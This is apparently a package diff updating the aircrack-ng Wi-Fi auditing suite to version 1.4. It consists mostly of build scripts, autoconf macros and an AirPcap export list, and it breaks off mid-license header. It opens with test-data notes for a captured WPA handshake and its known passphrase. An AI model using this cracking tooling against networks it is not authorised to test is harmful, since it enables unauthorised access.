+    Hashcat HCCAPx file with WPA handshake.
+    Passphrase for 'StayAlfred' ESSID is 'staytogether'
+
+More sample pcap are available from Wireshark: 
+    https://wiki.wireshark.org/SampleCaptures#Wifi_.2F_Wireless_LAN_captures_.2F_802.11

aircrack-ng-1.2-rc4.tar.gz/VERSION -> aircrack-ng-1.4.tar.gz/VERSION Changed

aircrack-ng-1.4.tar.gz/autogen.sh Added

@@ -0,0 +1,123 @@
+#!/bin/sh
+#
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+set -euf
+
+test -n "${srcdir:-}" || srcdir="$(dirname "$0")"
+test -n "${srcdir:-}" || srcdir=.
+
+olddir="$(pwd)"
+cd "$srcdir"
+
+missing_tool()
+{
+	_prog="$1"
+	_env="$2"
+
+	echo "Could not auto-detect '${_prog}'; please install or specify the '${_env}' environment variable."
+	exit 1
+}
+
+
+if [ -z "${LIBTOOLIZE:-}" ]; then
+	if which libtoolize >/dev/null 2>/dev/null; then
+		LIBTOOLIZE="$(which libtoolize 2>/dev/null)"
+	elif which glibtoolize >/dev/null 2>/dev/null; then
+		LIBTOOLIZE="$(which glibtoolize 2>/dev/null)"
+	else
+		missing_tool libtoolize LIBTOOLIZE
+	fi
+fi
+
+if [ -z "${ACLOCAL:-}" ]; then
+	if which aclocal >/dev/null 2>/dev/null; then
+		ACLOCAL="$(which aclocal 2>/dev/null)"
+	else
+		missing_tool aclocal ACLOCAL
+	fi
+fi
+
+if [ -z "${AUTOCONF:-}" ]; then
+	if which autoconf >/dev/null 2>/dev/null; then
+		AUTOCONF="$(which autoconf 2>/dev/null)"
+	else
+		missing_tool autoconf AUTOCONF
+	fi
+fi
+
+if [ -z "${AUTOHEADER:-}" ]; then
+	if which autoheader >/dev/null 2>/dev/null; then
+		AUTOHEADER="$(which autoheader 2>/dev/null)"
+	else
+		missing_tool autoheader AUTOHEADER
+	fi
+fi
+
+if [ -z "${AUTOMAKE:-}" ]; then
+	if which automake >/dev/null 2>/dev/null; then
+		AUTOMAKE="$(which automake 2>/dev/null)"
+	else
+		missing_tool automake AUTOMAKE
+	fi
+fi
+
+"$LIBTOOLIZE" --force --copy --automake
+"$ACLOCAL" -I build/m4/stubs -I build/m4 ${ACLOCAL_FLAGS:-}
+"$AUTOCONF"
+# "$AUTOHEADER"
+"$AUTOMAKE" \
+    --gnu --add-missing --force --copy \
+    -Wno-portability -Wno-portability
+
+{ cat <<EOF
+#!/usr/bin/env bash
+./autogen.sh "$@" "\$@"
+EOF
+} > reautogen.sh
+chmod +x reautogen.sh
+
+if [ ! -z "${NOCONFIGURE:-}" ]; then
+    echo "Done. ./configure skipped."
+    exit $?
+fi
+
+exec ./configure "$@"
+

aircrack-ng-1.4.tar.gz/build Added

aircrack-ng-1.4.tar.gz/build/airpcap.dll.def Added

@@ -0,0 +1,53 @@
+LIBRARY airpcap.dll
+EXPORTS
+AirpcapClose
+AirpcapConvertChannelToFrequency
+AirpcapConvertFrequencyToChannel
+AirpcapFreeDeviceList
+AirpcapGetDecryptionState
+AirpcapGetDeviceCapabilities
+AirpcapGetDeviceChannel
+AirpcapGetDeviceChannelEx
+AirpcapGetDeviceChannelLock
+AirpcapGetDeviceKeys
+AirpcapGetDeviceList
+AirpcapGetDeviceMacFlags
+AirpcapGetDeviceSupportedChannels
+AirpcapGetDeviceTimestamp
+AirpcapGetDeviceTransmissionLock
+AirpcapGetDriverDecryptionState
+AirpcapGetDriverKeys
+AirpcapGetFcsPresence
+AirpcapGetFcsValidation
+AirpcapGetKernelBufferSize
+AirpcapGetLastError
+AirpcapGetLedsNumber
+AirpcapGetLinkType
+AirpcapGetMacAddress
+AirpcapGetReadEvent
+AirpcapGetStats
+AirpcapGetTxPower
+AirpcapGetVersion
+AirpcapOpen
+AirpcapRead
+AirpcapSetDecryptionState
+AirpcapSetDeviceChannel
+AirpcapSetDeviceChannelEx
+AirpcapSetDeviceChannelLock
+AirpcapSetDeviceKeys
+AirpcapSetDeviceMacFlags
+AirpcapSetDeviceTransmissionLock
+AirpcapSetDriverDecryptionState
+AirpcapSetDriverKeys
+AirpcapSetFcsPresence
+AirpcapSetFcsValidation
+AirpcapSetFilter
+AirpcapSetKernelBuffer
+AirpcapSetLinkType
+AirpcapSetMacAddress
+AirpcapSetMinToCopy
+AirpcapSetTxPower
+AirpcapStoreCurConfigAsAdapterDefault
+AirpcapTurnLedOff
+AirpcapTurnLedOn
+AirpcapWrite

aircrack-ng-1.4.tar.gz/build/benchmark Added

aircrack-ng-1.4.tar.gz/build/clang_format_all.sh Added

@@ -0,0 +1,76 @@
+#!/bin/sh
+#
+# Adapted from:
+#   https://github.com/baldurk/renderdoc/raw/v1.x/util/clang_format_all.sh
+#
+
+CLANG_MAJOR=3
+CLANG_MINOR=8
+
+CLANG_FORMAT_VERSION=$CLANG_MAJOR.$CLANG_MINOR
+
+# Locate the clang-format executable. We try:
+#   - the existing value of $CLANG_FORMAT
+#   - the first command line argument to the script
+#   - in order:
+#      clang-format-Maj.Min
+#      clang-format-Maj
+#      clang-format
+
+# define a function to check the current $CLANG_FORMAT
+valid_clang_format() {
+	if which $CLANG_FORMAT > /dev/null 2>&1; then
+		if $CLANG_FORMAT --version | grep -q $CLANG_FORMAT_VERSION; then
+			echo "Located $CLANG_FORMAT";
+			return 0;
+		fi
+	fi
+
+	return 1;
+}
+
+if test ! -e configure.ac; then
+    echo "Must be at the root of the entire project."
+    exit 1;
+fi;
+
+if ! valid_clang_format; then
+	# if not valid yet, first try the command line parameter
+	CLANG_FORMAT=$1
+fi;
+
+if ! valid_clang_format; then
+	# Next try the full version
+	CLANG_FORMAT=clang-format-$CLANG_MAJOR.$CLANG_MINOR
+fi;
+
+if ! valid_clang_format; then
+	# Then -maj just in case
+	CLANG_FORMAT=clang-format-$CLANG_MAJOR
+fi;
+
+if ! valid_clang_format; then
+	# Then finally with no version suffix
+	CLANG_FORMAT=clang-format
+fi;
+
+# Check if we have a valid $CLANG_FORMAT
+if ! valid_clang_format; then
+	# If we didn't find one, bail out
+	echo "Couldn't find correct clang-format version, was looking for $CLANG_FORMAT_VERSION"
+	echo "Aircrack-ng requires a very specific clang-format version to ensure there isn't"
+	echo "any variance between versions that can happen. You can install it as"
+	echo "'clang-format-$CLANG_FORMAT_VERSION' so that it doesn't interfere with any other"
+	echo "versions you might have installed, and this script will find it there"
+	exit 1;
+fi;
+
+# Format all source code
+find src -iname '*.h' -a $ ! -path "src/include/*" -a ! -path "src/aircrack-osdep/radiotap/*" $ | \
+    xargs -n1 $CLANG_FORMAT -i -style=file
+find src -iname '*.cpp' -a $ ! -path "src/include/*" -a ! -path "src/aircrack-osdep/radiotap/*" $ | \
+    xargs -n1 $CLANG_FORMAT -i -style=file
+find src -iname '*.c' -a $ ! -path "src/include/*" -a ! -path "src/aircrack-osdep/radiotap/*" $ | \
+    xargs -n1 $CLANG_FORMAT -i -style=file
+$CLANG_FORMAT -i -style=file src/include/eapol.h
+$CLANG_FORMAT -i -style=file src/include/hashcat.h

aircrack-ng-1.4.tar.gz/build/code_coverage.sh Added

aircrack-ng-1.4.tar.gz/build/cygwin.sh Added

aircrack-ng-1.4.tar.gz/build/dist_check.sh Added

aircrack-ng-1.4.tar.gz/build/gcrypt.sh Added

aircrack-ng-1.4.tar.gz/build/m4 Added

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_airpcap.m4 Added

@@ -0,0 +1,78 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_AIRPCAP], [
+AC_ARG_WITH(airpcap,
+    [AS_HELP_STRING([--with-airpcap=DIR], [use given DIR for the Airpcap library])])
+
+case $with_airpcap in
+    no | "")
+        AIRPCAP=no
+        ;;
+    *)
+        AC_MSG_CHECKING([for 32-bit environment])
+        case "$(uname -m)" in
+            x86_64* | amd64*)
+                AC_MSG_RESULT([no])
+                AIRPCAP_LIB="bin/x64"
+                ;;
+            *)
+                AC_MSG_RESULT([yes])
+                AIRPCAP_LIB="bin/x86"
+                ;;
+        esac
+
+        AC_MSG_CHECKING([for airpcap.h])
+        if test -r "$with_airpcap/Airpcap_Devpack/include/airpcap.h" ; then
+            AIRPCAP_CFLAGS="-I$with_airpcap/Airpcap_Devpack/include"
+            AIRPCAP_LIBS="-L$with_airpcap/Airpcap_Devpack/${AIRPCAP_LIB} -lairpcap"
+            AC_SUBST(AIRPCAP_CFLAGS)
+            AC_SUBST(AIRPCAP_LIBS)
+            AC_DEFINE([HAVE_AIRPCAP], [1], [Define if you have AirPcap.])
+            AC_MSG_RESULT([yes])
+            AIRPCAP=yes
+        else
+            AC_MSG_ERROR([airpcap.h could not be found in $with_airpcap/Airpcap_Devpack/include])
+            AIRPCAP=no
+        fi
+        ;;
+esac
+
+AM_CONDITIONAL([AIRPCAP], [test "$AIRPCAP" = yes])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_asan.m4 Added

@@ -0,0 +1,57 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_ASAN], [
+AC_ARG_ENABLE(asan,
+    AS_HELP_STRING([--enable-asan],
+        [Enable AddressSanitizer (ASAN)]),
+    [asan=$enableval], [asan=no])
+
+if test "x$asan" != "xno"; then
+    # Assume both C and C++ compiler either support ASAN or not.
+    LDFLAGS_saved="$LDFLAGS"
+    LDFLAGS="$LDFLAGS -fsanitize=address"
+    AX_CHECK_COMPILE_FLAG([-fsanitize=address],
+        [
+            CFLAGS="$CFLAGS -fsanitize=address -DSANITIZE_ADDRESS=1"
+            CXXFLAGS="$CXXFLAGS -fsanitize=address -DSANITIZE_ADDRESS=1"
+        ],
+        [LDFLAGS="$LDFLAGS_saved"])
+fi
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_code_coverage.m4 Added

@@ -0,0 +1,52 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_CODE_COVERAGE], [
+AX_REQUIRE_DEFINED([AX_CODE_COVERAGE])
+AX_REQUIRE_DEFINED([AX_APPEND_FLAG])
+
+CODE_COVERAGE_IGNORE_PATTERN="/usr/include/\* /usr/local/include/\* /usr/lib/gcc/\* /usr/local/lib/gcc/\*"
+AC_SUBST(CODE_COVERAGE_IGNORE_PATTERN)
+AX_CODE_COVERAGE
+
+AX_APPEND_FLAG($CODE_COVERAGE_CPPFLAGS, [opt_cppflags])
+AX_APPEND_FLAG($CODE_COVERAGE_CFLAGS, [opt_cflags])
+AX_APPEND_FLAG($CODE_COVERAGE_CXXFLAGS, [opt_cxxflags])
+AX_APPEND_FLAG($CODE_COVERAGE_LIBS, [opt_libs])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_compiler.m4 Added

@@ -0,0 +1,175 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_COMPILER], [
+AX_REQUIRE_DEFINED([AX_COMPILER_VENDOR])
+AX_REQUIRE_DEFINED([AX_COMPILER_VERSION])
+AX_REQUIRE_DEFINED([AX_COMPARE_VERSION])
+AX_REQUIRE_DEFINED([AX_CHECK_COMPILE_FLAG])
+AX_REQUIRE_DEFINED([AX_CFLAGS_WARN_ALL])
+AX_REQUIRE_DEFINED([AX_CXXFLAGS_WARN_ALL])
+AX_REQUIRE_DEFINED([AX_APPEND_FLAG])
+
+AX_COMPILER_VENDOR
+AX_COMPILER_VERSION
+
+saved_cflags="$CFLAGS"
+CFLAGS=""
+AX_CFLAGS_WARN_ALL
+AX_APPEND_FLAG($CFLAGS, [opt_cflags])
+CFLAGS="$saved_cflags"
+
+saved_cxxflags="$CXXFLAGS"
+CXXFLAGS=""
+AX_CXXFLAGS_WARN_ALL
+AX_APPEND_FLAG($CXXFLAGS, [opt_cxxflags])
+CXXFLAGS="$saved_cxxflags"
+
+case "$ax_cv_c_compiler_vendor" in
+    clang)
+        AX_APPEND_FLAG(-Wno-unused-command-line-argument, [opt_cppflags])
+        AX_APPEND_FLAG(-Wno-unused-command-line-argument, [opt_cflags])
+        AX_APPEND_FLAG(-Wno-unused-command-line-argument, [opt_cxxflags])
+        AX_APPEND_FLAG(-Wno-unused-command-line-argument, [opt_ldflags])
+        ;;
+esac
+
+AC_ARG_WITH(opt,
+    [AS_HELP_STRING([--without-opt],
+        [disable -O3 optimizations])])
+
+AS_IF([test "x$enable_code_coverage" = "xno"], [
+    case $with_opt in
+        yes | "")
+            AX_CHECK_COMPILE_FLAG([-O3], [
+                AX_APPEND_FLAG(-O3, [opt_[]_AC_LANG_ABBREV[]flags])
+            ])
+        ;;
+    esac
+])
+
+AC_LANG_CASE([C], [
+    saved_cflags="$CFLAGS"
+    AX_CHECK_COMPILE_FLAG([-std=gnu99], [
+        AX_APPEND_FLAG(-std=gnu99, [opt_[]_AC_LANG_ABBREV[]flags])
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-Wpointer-arith], [
+        AX_APPEND_FLAG(-Wpointer-arith, [opt_[]_AC_LANG_ABBREV[]flags])
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-Wstrict-overflow=2], [
+        AX_APPEND_FLAG(-Wstrict-overflow=2, [opt_[]_AC_LANG_ABBREV[]flags])
+    ])
+
+    case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+        gnu|clang|intel)
+            AX_APPEND_FLAG(-Wstrict-prototypes, [opt_[]_AC_LANG_ABBREV[]flags])
+            ;;
+    esac
+])
+
+AX_CHECK_COMPILE_FLAG([-fvisibility=hidden], [
+	AX_APPEND_FLAG(-fvisibility=hidden, [opt_[]_AC_LANG_ABBREV[]flags])
+])
+
+case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+    gnu|clang|intel)
+        AX_COMPARE_VERSION([$ax_cv_[]_AC_LANG_ABBREV[]_compiler_version], [ge], [4.1], [gcc_over41=yes], [gcc_over41=x])
+        AX_COMPARE_VERSION([$ax_cv_[]_AC_LANG_ABBREV[]_compiler_version], [ge], [4.5], [gcc_over45=yes], [gcc_over45=x])
+        AX_COMPARE_VERSION([$ax_cv_[]_AC_LANG_ABBREV[]_compiler_version], [ge], [4.9], [gcc_over49=yes], [gcc_over49=x])
+    ;;
+esac
+
+dnl
+dnl Enable compiler flags that meet the required minimum version
+dnl
+case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+    gnu|clang)
+        case "$host_os" in
+            CYGWIN*|MSYS*|cygwin*|msys*)
+                ;;
+            *)
+                case $with_opt in
+                    yes | "")
+                        AS_IF([test "x$gcc_over49" = "xno"], [
+                            AS_IF([test "x$gcc_over41" = "xyes"], [
+                                AX_CHECK_COMPILE_FLAG([-fstack-protector], [
+                                    AX_APPEND_FLAG(-fstack-protector, [opt_[]_AC_LANG_ABBREV[]flags])
+                                ])
+                            ], [])
+                        ], [])
+
+                        AS_IF([test "x$gcc_over49" = "xyes"], [
+                            AX_CHECK_COMPILE_FLAG([-fstack-protector-strong], [
+                                AX_APPEND_FLAG(-fstack-protector-strong, [opt_[]_AC_LANG_ABBREV[]flags])
+                            ])
+                        ], [])
+                        ;;
+                esac
+                ;;
+        esac
+        ;;
+esac
+
+AS_IF([test "x$gcc_over45" = "xyes"], [
+    case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+        gnu|intel)
+            AX_CHECK_COMPILE_FLAG([-Wno-unused-but-set-variable], [
+                AX_APPEND_FLAG(-Wno-unused-but-set-variable, [opt_[]_AC_LANG_ABBREV[]flags])
+            ])
+            ;;
+    esac
+    AX_CHECK_COMPILE_FLAG([-Wno-array-bounds], [
+        AX_APPEND_FLAG(-Wno-array-bounds, [opt_[]_AC_LANG_ABBREV[]flags])
+    ])
+], [])
+])
+
+AC_DEFUN([AIRCRACK_NG_COMPILER_C], [
+AC_LANG_PUSH([C])
+AIRCRACK_NG_COMPILER
+AC_LANG_POP([C])
+])
+
+AC_DEFUN([AIRCRACK_NG_COMPILER_CXX], [
+AC_LANG_PUSH([C++])
+AIRCRACK_NG_COMPILER
+AC_LANG_POP([C++])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_crypto.m4 Added

@@ -0,0 +1,104 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_CRYPTO],[
+
+AC_ARG_ENABLE(static-crypto,
+    AS_HELP_STRING([--enable-static-crypto],
+		[Enable statically linked OpenSSL libcrypto.]),
+    [static_crypto=$enableval], [static_crypto=no])
+
+if test "x$static_crypto" != "xno"; then
+	AX_EXT_HAVE_STATIC_LIB(ZLIB, DEFAULT_STATIC_LIB_SEARCH_PATHS, z libz, compress)
+	AX_EXT_HAVE_STATIC_LIB(OPENSSL, DEFAULT_STATIC_LIB_SEARCH_PATHS, crypto libcrypto, HMAC, -lz -ldl)
+else
+	AC_CHECK_LIB([crypto], [OPENSSL_init], [
+		OPENSSL_LIBS="-lcrypto"
+		OPENSSL_LDFLAGS=""
+
+		AC_CHECK_HEADERS([openssl/crypto.h], [
+			OPENSSL_FOUND=yes
+			OPENSSL_INCLUDES=""
+		], [
+			AX_CHECK_OPENSSL([OPENSSL_FOUND=yes],[OPENSSL_FOUND=no])
+		])
+	], [
+		AX_CHECK_OPENSSL([OPENSSL_FOUND=yes],[OPENSSL_FOUND=no])
+	])
+
+	AX_LIB_GCRYPT
+fi
+
+CRYPTO_CFLAGS=
+CRYPTO_INCLUDES=
+CRYPTO_LIBS=
+CRYPTO_LDFLAGS=
+CRYPTO_TYPE=
+
+AC_MSG_CHECKING([for OpenSSL or libgcrypt])
+if test x"$GCRYPT_LIBS" != x; then
+    AC_MSG_RESULT([libgcrypt])
+    CRYPTO_CFLAGS="$GCRYPT_CFLAGS -DUSE_GCRYPT"
+    CRYPTO_INCLUDES=""
+    CRYPTO_LIBS="$GCRYPT_LIBS"
+    CRYPTO_LDFLAGS=""
+    CRYPTO_TYPE=libgcrypt
+elif test "$OPENSSL_FOUND" = yes; then
+    AC_MSG_RESULT([OpenSSL])
+    CRYPTO_INCLUDES="$OPENSSL_INCLUDES"
+    CRYPTO_LIBS="$OPENSSL_LIBS"
+    CRYPTO_LDFLAGS="$OPENSSL_LDFLAGS"
+    CRYPTO_TYPE=openssl
+
+    AC_CHECK_HEADERS([openssl/cmac.h], [
+        AC_DEFINE([HAVE_OPENSSL_CMAC_H], [1], [Define if you have openssl/cmac.h header present.])
+        HAVE_CMAC=yes
+    ], [HAVE_CMAC=no])
+else
+    AC_MSG_ERROR([one of OpenSSL or Gcrypt was not found])
+fi
+
+AC_SUBST(CRYPTO_CFLAGS)
+AC_SUBST(CRYPTO_INCLUDES)
+AC_SUBST(CRYPTO_LIBS)
+AC_SUBST(CRYPTO_LDFLAGS)
+
+AM_CONDITIONAL([LIBGCRYPT], [test "$CRYPTO_TYPE" = libgcrypt])
+AM_CONDITIONAL([STATIC_CRYPTO], [test "$static_crypto" != no])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_duma.m4 Added

@@ -0,0 +1,57 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_DUMA], [
+AX_REQUIRE_DEFINED([AC_CHECK_LIB])
+
+AC_ARG_WITH(duma,
+    [AS_HELP_STRING([--with-duma[[=auto|yes|no]]], [use DUMA library, [default=auto]])])
+
+case $with_duma in
+    yes | "" | auto)
+        AC_CHECK_LIB([duma], [malloc], [
+            LIBS="$LIBS -lduma"
+            DUMA=yes
+        ],[ DUMA=no ])
+        ;;
+    *)
+        DUMA=no
+        ;;
+esac
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_ethtool.m4 Added

@@ -0,0 +1,58 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
